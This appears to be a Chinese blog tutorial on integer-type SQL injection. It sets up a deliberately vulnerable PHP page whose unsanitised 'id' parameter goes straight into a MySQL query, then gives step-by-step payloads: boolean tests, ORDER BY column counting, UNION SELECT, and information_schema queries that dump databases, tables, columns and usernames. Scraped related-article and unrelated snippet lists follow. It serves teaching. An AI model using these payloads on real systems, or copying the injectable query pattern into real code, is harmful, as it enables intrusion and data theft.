SQL注入中的整型注入实验
首先搭建一个用于注入的环境
目录结构
conn.php 用来连接数据库的文件PHP文件
index.php 用来执行SQL命令,以及返回查询结构
index.html 一个存在注入点的页面
conn.php的代码
<?php
$servername="localhost";
$username="root";
$password="weiwhy";
try{
$con=new PDO("mysql:host=$servername;dbname=phpdisk",$username,$password);
echo "链接数据库成功";
}catch(PDOException $e){
echo $e->getMessage();
} $con->exec('set names utf8');///exec方法用来执行没有结果返回的SQL语句。。。设置查询语句为utf-8
?>
index.php代码
<?php
require('conn.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php
$id=$_GET['id'];
$result=$con->query("select * from pd_users where userid=$id");//执行查询的SQL语句
foreach($result as $value){
var_dump($value);////直接输出作为显示位
}
?>
</body>
</html>
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form action="index.php" method="GET">
<input type="text" name="id">
<input type="submit" value="提交">
</form>
</body>
</html>
存在的注入点为
http://www.a.com/index.php?id=1
第一步,首先判断注入点是否可用
http://www.a.com/index.php?id=1 and 1=1显示正常
http://www.a.com/index.php?id=1 and 1=2 正常返回但是没有数据
第二步,判断查询的表存在的列数
http://www.a.com/index.php?id=1 order by 2
使用排序方法判断存在多少行,根据第29列无法排序,说明不存在这一列
根据第28列排序正常,所以此表存在28列
第三步,使用联合查询,查找显示位
union select 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4
第四步,查询所有的库名
通过查询information_schema.schemata表
select distinct group_concat(schema_name) from information_schema.schemata
第五步,查询指定库的所有表
可以看到上一步中,拿到另外所有的库名,这一步指定查询estoresyste库
select distinct group_concat(table_name) from information_schema.tables where table_schema='estoresystem'
第六步,查询指定表的所有列
拿到指定库的所有表之后,指定查询user表的所有列
select distinct group_concat(column_name) from information_schema.columns where table_name='users'
第七步,查询数据
select distinct group_concat(username) from estoresystem.users
查询到该表的四个用户
SQL注入中的整型注入实验的更多相关文章
- 阿里云提示:对输入参数id未进行正确类型转义,导致整型注入的发生
类似以下提示: XXX.php中,对输入参数id未进行正确类型转义,导致整型注入的发生 解决办法: 找到对应文件:$id = $_GET['id']; 增加以下标红过滤: $id = $_GET['i ...
- 【sqli-labs】 less35 GET- Bypass Add Slashes(we dont need them) Integer based (GET型绕过addslashes() 函数的整型注入)
整型注入不用闭合引号,那就更简单了 http://192.168.136.128/sqli-labs-master/Less-35/?id=0 union select 1,database(),3% ...
- dateline 在数据库中就是 整型字段。date函数是可以转换成可读日期的。
返回数据中的dateline全部用date()函数转换后再返回,是要嵌套循环还是遍历,代码怎么写? //查询我的活动 function user_activity_info_by_uid($uid){ ...
- CVE-2018-14634 - Linux create_elf_tables()中的整型溢出 - 翻译
原文:https://seclists.org/oss-sec/2018/q3/274 摘要 Qualys研究实验室的安全团队发现一个位于Linux内核函数create_elf_tables()中的整 ...
- 【sqli-labs】 less41 GET -Blind based -Intiger -Stacked(GET型基于盲注的堆叠查询整型注入)
整型的不用闭合引号 http://192.168.136.128/sqli-labs-master/Less-41/?id=1;insert into users(id,username,passwo ...
- MySQL和PHP中以整型存储IP地址
正文:将IP地址以整型存储 一般我们在数据库中会用到ip地址用来查记录的等等,而ip地址是分为四段的,一般是用varchar或char类型存储.但是其实有更好的存储方法就是以整型存储IP地址. 因为c ...
- 在JavaScript中判断整型的N种方法
原文:http://www.cnblogs.com/YcYYcY/p/3759184.html 整数类型(Integer)在JavaScript经常会导致一些奇怪的问题.在ECMAScript的规范中 ...
- C#语言基础 Main 函数中变量 整型
在我们每次上网或者用电脑的时候,请输入你的xxx 或者你的名字(年龄/身高/学校/籍贯)是 在这里我们就要学到一些变量,就是不确定的东西 string a: //赋予变量 a ="内容& ...
- c语言中指向整型指针的指针的理解
/************************************************************************* > File Name: ptr_ptr_i ...
随机推荐
- hdu 2899 Strange fuction —— 模拟退火
题目:http://acm.hdu.edu.cn/showproblem.php?pid=2899 模拟退火: 怎么也过不了,竟然是忘了写 lst = tmp ... 还是挺容易A的. 代码如下: # ...
- camera调试命令
问题:adb install -r Camera.apk 2864 KB/s (7603465 bytes in 2.592s)Failure [INSTALL_FAILED_UPDATE_INCOM ...
- 蓝桥杯 2014本科C++ B组 奇怪的分式 暴力枚举
蓝桥杯 枚举 奇怪的分式 标题:奇怪的分式 上小学的时候,小明经常自己发明新算法.一次,老师出的题目是: 1/4 乘以 8/5 小明居然把分子拼接在一起,分母拼接在一起,答案是:18/45 (参见图1 ...
- Array 对象
Array的对象用于在单个的变量中存储多个值. constructor 返回对创建此对象的数组函数的引用. demo: let arr=[]; arr.constructor==Array let ...
- openstack封装镜像
1.准备工作:准备你想要封装的各种镜像的iso,完整版本最简单版本都ok,只要能出虚拟机就行,这个大家去官网下载自己要的iso就可以,我这里用centos6.4最简版本,因为分给我的活让做这个的... ...
- 四、mysql数据常用命令
1.显示mysql中所有数据库的名称,show databases; 2.访问某个数据库,use database_name; 3.显示当前数据库中所有表的名称,show tables; 4.查看当前 ...
- 搭建Linux的VMware Workstation Pro
搭建准备环境: 1.win10操作系统: 2.VMware Workstation Pro12: 下载地址 http://www.vmware.com/products/workstation/w ...
- java 随机颜色
用HSV模型来实现颜色的随机,然后转为RGB模型 色相(H)是色彩的基本属性,就是平常所说的颜色名称,如红色.黄色等. 饱和度(S)是指色彩的纯度,越高色彩越纯,低则逐渐变灰,取0-100%的数值. ...
- C - Present
C - Present Time Limit:2000MS Memory Limit:262144KB 64bit IO Format:%I64d & %I64u Submit ...
- Asset Catalog Help (四)---Adding an iOS App Icon Set or Launch Image Set
Adding an iOS App Icon Set or Launch Image Set Organize different resolutions of your app icons and ...